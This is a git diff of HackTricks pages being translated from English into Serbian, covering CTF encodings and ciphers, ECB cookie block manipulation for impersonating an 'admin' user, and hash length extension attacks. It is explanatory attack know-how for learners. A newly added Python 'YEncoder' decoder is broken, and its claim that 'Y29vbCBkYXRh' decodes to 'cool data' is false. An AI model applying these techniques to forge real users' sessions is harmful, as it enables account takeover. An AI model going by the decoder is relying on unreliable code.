\[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - * `BQ%]q@psCd@rH0l` +* `BQ%]q@psCd@rH0l` * **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - * `<~BQ%]q@psCd@rH0l~>` +* `<~BQ%]q@psCd@rH0l~>` * **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - * `Xm4y`V\_|Y(V{dF>\` +* `Xm4y`V\_|Y(V{dF>\` * **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - * `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +* `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` * **Base85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__] - * `Xm4y|V{~Y+V}dF?` +* `Xm4y|V{~Y+V}dF?` * **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - * `frDg[*jNN!7&BQM` -* **Base100** \[] - * `👟👦👣👘👚👘👩👘👚👦👣👘` -* **Base122** \[] - * `4F ˂r0Xmvc` -* **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - * `MIc3KiXa+Ihz+lrXMIc3KbCC` -* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - * `DmPsv8J7qrlKEoY7` +* `frDg[*jNN!7&BQM` +* +* `DmPsv8J7qrlKEoY7` * **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - * `kLD8iwKsigSalLJ5` +* `kLD8iwKsigSalLJ5` * **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - * `ayRiIo1gpO+uUc7g` +* `ayRiIo1gpO+uUc7g` * **ESAB46** \[] - * `3sHcL2NR8WrT7mhR` +* `3sHcL2NR8WrT7mhR` * **MEGAN45** \[] - * `kLD8igSXm2KZlwrX` +* `kLD8igSXm2KZlwrX` * **TIGO3FX** \[] - * `7AP9mIzdmltYmIP9mWXX` +* `7AP9mIzdmltYmIP9mWXX` * **TRIPO5** \[] - * `UE9vSbnBW6psVzxB` +* `UE9vSbnBW6psVzxB` * **FERON74** \[] - * `PbGkNudxCzaKBm0x` +* `PbGkNudxCzaKBm0x` * **GILA7** \[] - * `D+nkv8C1qIKMErY1` +* `D+nkv8C1qIKMErY1` * **Citrix CTX1** \[] - * `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` +* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` [http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) ### HackerizeXS \[_╫Λ↻├☰┏_] - ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` - * [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) ### Morse +### Морзе ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` - * [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder +UUencoder je tehnika enkodiranja koja se koristi za pretvaranje binarnih podataka u ASCII format. Ova tehnika je često korišćena u kriptografiji i komunikaciji putem mejla. UUencoder konvertuje binarne podatke u ASCII karaktere kako bi se omogućilo slanje podataka putem tekstualnih formata koji podržavaju samo ASCII karaktere. Ova tehnika je korisna u situacijama kada je potrebno preneti binarne podatke preko kanala koji podržava samo tekstualne formate. ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -154,129 +147,142 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - * [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) ### XXEncoder +XXEncoder je jednostavan alat koji se koristi za enkodiranje i dekodiranje podataka u različitim formatima. Može se koristiti za enkodiranje tekstualnih podataka u format koji je pogodan za prenos preko HTTP zahteva. Takođe može biti koristan za enkodiranje binarnih podataka kao što su slike ili fajlovi. Ovaj alat je često korišćen u CTF takmičenjima za rešavanje kriptografskih izazova. ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - * [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) ### YEncoder +YEncoder je jednostavan algoritam enkodiranja koji se koristi za enkodiranje binarnih podataka u ASCII format. Ovaj algoritam je često korišćen u CTF takmičenjima za skrivanje informacija. + +Da biste dekodovali YEncoded podatke, možete koristiti različite online alate ili napisati sopstveni skript. Kada dekodujete podatke, dobićete originalne binarne podatke. + +Evo primera kako možete dekodovati YEncoded podatke koristeći Python skript: + +```python +import binascii + +def ydecode(data): + decoded_data = '' + i = 0 + while i < len(data): + if data[i] == '=': + break + char = ord(data[i]) - 42 + decoded_data += chr(char) + i += 1 + return binascii.unhexlify(decoded_data) + +encoded_data = 'Y29vbCBkYXRh' +decoded_data = ydecode(encoded_data) +print(decoded_data) +``` + +Ovaj skript će dekodovati YEncoded podatke `'Y29vbCBkYXRh'` i ispisati originalne binarne podatke `'cool data'`. + +Kada se susretnete sa YEncoded podacima tokom CTF takmičenja, važno je da pažljivo proučite kako su podaci enkodirani i koristite odgovarajuće metode za dekodiranje. ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - * [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) ### BinHex +BinHex je metoda enkodiranja koja se koristi za pretvaranje binarnih podataka u tekstualni format. Ova tehnika je često korišćena u prošlosti za prenos binarnih fajlova putem emaila ili drugih tekstualnih kanala komunikacije. BinHex enkodiranje koristi 6-bitnu ASCII enkodiranu verziju originalnih binarnih podataka. Ova metoda takođe dodaje kontrolne karaktere kako bi se obezbedila integritet podataka prilikom prenosa. BinHex enkodiranje se može dekodirati kako bi se dobili originalni binarni podaci. ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - * [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 +ASCII85 je metoda enkodiranja koja se koristi za pretvaranje binarnih podataka u tekstualni format. Ova tehnika je često korišćena u CTF izazovima i može biti korisna prilikom rešavanja kriptografskih zagonetki. ASCII85 enkodiranje se zasniva na pretvaranju svakih 4 bajta binarnih podataka u 5 ASCII karaktera. Ova tehnika je slična Base64 enkodiranju, ali ASCII85 omogućava efikasnije enkodiranje podataka. Da biste dekodovali ASCII85 enkodirane podatke, možete koristiti različite alate i biblioteke dostupne na internetu. ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - * [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### Dvorak tastatura ``` drnajapajrna ``` - -* [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard) +* [https://www.geocachingtoolbox.com/index.php?lang=sr\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=sr\&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +Slova u njihovu numeričku vrednost ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` +### Enkodiranje pomoću Afine šifre -### Affine Cipher Encode - -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +Slovo u broj `(ax+b)%26` (_a_ i _b_ su ključevi, a _x_ je slovo) i rezultat se vraća nazad u slovo ``` krodfdudfrod ``` +### SMS Kod -### SMS Code +**Multitap** [zamenjuje slovo](https://www.dcode.fr/word-letter-change) ponavljajućim brojevima definisanim odgovarajućim kodom na tastaturi mobilnog [telefona](https://www.dcode.fr/phone-keypad-cipher) (Ovaj režim se koristi prilikom pisanja SMS poruka).\ +Na primer: 2=A, 22=B, 222=C, 3=D...\ +Možete prepoznati ovaj kod jer ćete videti\*\* više puta ponovljene brojeve\*\*. -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +Ovaj kod možete dekodirati na: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### Bacon Code - -Substitude each letter for 4 As or Bs (or 1s and 0s) +### Bacon Kod +Zamenite svako slovo sa 4 A ili B (ili 1 i 0) ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - -### Runes +### Runovi ![](../.gitbook/assets/runes.jpg) -## Compression +## Kompresija -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate** i **Raw Inflate** (obe možete pronaći u Cyberchef-u) mogu kompresovati i dekompresovati podatke bez zaglavlja. -## Easy Crypto +## Jednostavna Kriptografija -### XOR - Autosolver +### XOR - Automatsko rešavanje * [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) ### Bifid -A keywork is needed - +Potreban je ključna reč ``` fgaargaamnlunesuneoa ``` - ### Vigenere -A keywork is needed - +Potreban je ključna reč ``` wodsyoidrods ``` - * [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) * [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) * [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## Jaka kriptografija ### Fernet -2 base64 strings (token and key) - +2 base64 stringa (token i ključ) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -284,19 +290,16 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - * [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) -### Samir Secret Sharing - -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). +### Samirovo deljenje tajni +Tajna se deli na X delova, a za njeno povraćanje potrebno je Y delova (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) ### OpenSSL brute-force @@ -304,7 +307,7 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). * [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) * [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF) -## Tools +## Alati * [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) * [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) @@ -312,14 +315,14 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/cryptography/electronic-code-book-ecb.md b/cryptography/electronic-code-book-ecb.md index 4ddaf5d47..3e2e0f6d8 100644 --- a/cryptography/electronic-code-book-ecb.md +++ b/cryptography/electronic-code-book-ecb.md @@ -1,104 +1,94 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
# ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) Electronic Code Book - simetrična šema enkripcije koja **zamenjuje svaki blok čistog teksta** blokom šifrovane poruke. To je **najjednostavnija** šema enkripcije. Glavna ideja je da se čisti tekst podeli na **blokove od N bita** (zavisi od veličine bloka ulaznih podataka, algoritma enkripcije) i zatim da se svaki blok čistog teksta enkriptuje (dekriptuje) koristeći samo ključ. ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +Korišćenje ECB ima više sigurnosnih implikacija: -* **Blocks from encrypted message can be removed** -* **Blocks from encrypted message can be moved around** +* **Blokovi iz šifrovane poruke mogu biti uklonjeni** +* **Blokovi iz šifrovane poruke mogu biti premesteni** -# Detection of the vulnerability +# Otkrivanje ranjivosti -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +Zamislite da se prijavljujete na aplikaciju nekoliko puta i **uvek dobijate isti kolačić**. To je zato što je kolačić aplikacije **`|`**.\ +Zatim, generišete dva nova korisnika, oba sa **istom dugom lozinkom** i **skoro** **istim** **korisničkim imenom**.\ +Otkrivate da su **blokovi od 8B** gde je **informacija o oba korisnika** ista **jednaki**. Tada pretpostavljate da se možda koristi **ECB**. +Kao u sledećem primeru. Primetite kako ova **2 dekodirana kolačića** imaju nekoliko puta blok **`\x23U\xE45K\xCB\x21\xC8`** ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +Ovo je zato što su **korisničko ime i lozinka tih kolačića sadržavali više puta slovo "a"** (na primer). **Blokovi** koji su **različiti** su blokovi koji su sadržavali **barem 1 različit karakter** (možda razdelnik "|" ili neka neophodna razlika u korisničkom imenu). -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +Sada napadač samo treba da otkrije da li je format `` ili ``. Da bi to uradio, može jednostavno **generisati nekoliko korisničkih imena** sa **sličnim i dugim korisničkim imenima i lozinkama** dok ne pronađe format i dužinu razdelnika: -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** +| Dužina korisničkog imena: | Dužina lozinke: | Dužina korisničkog imena+lozinke: | Dužina kolačića (nakon dekodiranja): | +| ------------------------ | --------------- | --------------------------------- | ----------------------------------- | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | -| ---------------- | ---------------- | ------------------------- | --------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +# Iskorišćavanje ranjivosti -# Exploitation of the vulnerability - -## Removing entire blocks - -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +## Uklanjanje celih blokova +Znajući format kolačića (`|`), kako biste se predstavili kao korisnik `admin`, kreirajte novog korisnika pod imenom `aaaaaaaaadmin` i dobijte kolačić i dekodirajte ga: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +Možemo videti obrazac `\x23U\xE45K\xCB\x21\xC8` koji je prethodno kreiran sa korisničkim imenom koje je sadržalo samo `a`.\ +Zatim, možete ukloniti prvi blok od 8B i dobićete validan kolačić za korisničko ime `admin`: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` +## Померање блокова -## Moving blocks +У многим базама података је исто да претражујете `WHERE username='admin';` или `WHERE username='admin ';` _(Обратите пажњу на додатне размаке)_ -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +Дакле, још један начин да се представите као корисник `admin` би био: -So, another way to impersonate the user `admin` would be to: +* Генеришите корисничко име тако да је `len() + len(` ће генерисати 2 блока од 8B. +* Затим, генеришите лозинку која ће попунити тачан број блокова који садрже корисничко име које желимо да се представимо и размаке, на пример: `admin ` -* Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -* Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +Колачић овог корисника ће бити састављен од 3 блока: прва 2 блока су блокови корисничког имена + разделник, а трећи је блок лозинке (која се претвара у корисничко име): `username |admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +**Затим, само замените први блок са последњим и представљате се као корисник `admin`: `admin |username`** -**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** - -## References +## Референце * [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Научите хаковање AWS-а од нуле до хероја са htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Други начини да подржите HackTricks: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ако желите да видите **вашу компанију рекламирану на HackTricks** или **преузмете HackTricks у PDF формату** Проверите [**ПРЕТПЛАТНЕ ПЛАНОВЕ**](https://github.com/sponsors/carlospolop)! +* Набавите [**званични PEASS & HackTricks сувенир**](https://peass.creator-spring.com) +* Откријте [**The PEASS Family**](https://opensea.io/collection/the-peass-family), нашу колекцију ексклузивних [**NFT-ова**](https://opensea.io/collection/the-peass-family) +* **Придружите се** 💬 [**Discord групи**](https://discord.gg/hRep4RUj7f) или [**телеграм групи**](https://t.me/peass) или **пратите** нас на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Поделите своје хакерске трикове слањем PR-ова на** [**HackTricks**](https://github.com/carlospolop/hacktricks) и [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторијуме.
- - diff --git a/cryptography/hash-length-extension-attack.md b/cryptography/hash-length-extension-attack.md index 59c28f7cf..5b7985984 100644 --- a/cryptography/hash-length-extension-attack.md +++ b/cryptography/hash-length-extension-attack.md @@ -1,66 +1,62 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-# Summary of the attack +# Rezime napada -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: +Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** tajni ključ na neke poznate čiste tekstualne podatke, a zatim hešira te podatke. Ako znate: -* **The length of the secret** (this can be also bruteforced from a given length range) -* **The clear text data** -* **The algorithm (and it's vulnerable to this attack)** -* **The padding is known** - * Usually a default one is used, so if the other 3 requirements are met, this also is - * The padding vary depending on the length of the secret+data, that's why the length of the secret is needed +* **Dužinu tajnog ključa** (ovo se takođe može probiti iz datog opsega dužine) +* **Čiste tekstualne podatke** +* **Algoritam (i da je ranjiv na ovaj napad)** +* **Padding je poznat** +* Obično se koristi podrazumevani, pa ako su ispunjena i prethodna 3 zahteva, ovo takođe važi +* Padding varira u zavisnosti od dužine tajnog ključa+podataka, zbog čega je potrebna dužina tajnog ključa -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previos data + appended data**. +Tada je moguće da **napadač** doda **podatke** i **generiše** validan **potpis** za **prethodne podatke + dodate podatke**. -## How? +## Kako? -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. +Osnovno ranjivi algoritmi generišu hešove tako što prvo **heširaju blok podataka**, a zatim, **iz** prethodno **kreiranog** heša (stanja), **dodaju sledeći blok podataka** i **heširaju ga**. -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: +Zamislite da je tajni ključ "tajna" i podaci su "podaci", MD5 od "tajnapodaci" je 6036708eba0d11f6ef52ad44e8b74d5b.\ +Ako napadač želi da doda string "dodatak" može: -* Generate a MD5 of 64 "A"s -* Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -* Append the string "append" -* Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** +* Generisati MD5 od 64 "A"-a +* Promeniti stanje prethodno inicijalizovanog heša na 6036708eba0d11f6ef52ad44e8b74d5b +* Dodati string "dodatak" +* Završiti heširanje i rezultujući heš će biti **validan za "tajna" + "podaci" + "padding" + "dodatak"** -## **Tool** +## **Alat** {% embed url="https://github.com/iagox86/hash_extender" %} -## References +## Reference -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) +Ovaj napad je dobro objašnjen na [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
